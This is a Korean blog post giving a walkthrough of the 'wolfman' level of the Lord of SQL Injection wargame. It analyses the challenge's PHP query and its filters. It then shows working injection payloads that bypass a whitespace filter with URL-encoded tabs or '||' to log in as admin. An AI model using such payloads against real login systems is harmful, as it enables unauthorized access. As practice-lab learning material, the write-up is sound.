klaus

[Lord of SQL Injection] wolfman 5단계 본문

모의해킹/Wargame

[Lord of SQL Injection] wolfman 5단계

klus! 2022. 12. 3. 14:02

0.wolfman

늑대인간.... 생각나는 것은 디아블로와 리니지 밖에 없다.

내가 어렸을 때 진짜 게임을 많이 했었나?라는 생각이....

Pixabay

1. ORC 문제 

2. 코드 분석

이번 문제는 4번 문제보다 쉬운편이였습니다.

 

$query "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"

먼저, quey를 보면 id의 경우 guest로 고정되어 있고 PW의 값을 입력받아 문제가 풀립니다.

 

if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");

기존 문제처럼 Prob와 _ , . , ( , )과 i를 통해 대소문자를 필터링된다고 합니다.

 

if(preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 

이번 문제에서 추가로 공백 필터링된다는 점입니다.

 if($result['id'] == 'admin'solve("wolfman"); 

아이디 부분이 admin으로 되면 해당 문제는 풀리는 것을 알 수 있습니다.

$query "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"

에서 guest부분의 조건을 만족시키고 그 뒷부분에 id=admin으로 넣어주면 될 것 같습니다.

그러면,? pw=0'% 09or%09id='admin으로 생각할 수 있습니다.

 

이번 문제의 경우 공백 사용이 불가능하기 때문에 공백 필터링을 우회해야 합니다.

 

참고

Tab : %09 == 공백

||(OR) == 따로 공백이 필요 없음

&&(AND) == 따로 공백이 필요 없음

 

답.

더보기

?pw=0'%09or%09id='admin을 사용해 문제풀이를 할 수 있거나, ?pw=0'||id='admin

문제를 풀 수 있을 것 같습니다.

?pw=0'을 사용하여 기존 guest를 닫아주고 or 구문을 통해 id=admin을 넣어주었습니다.

오늘 문제는 너무 간단하게 풀린 것 같습니다.

Comments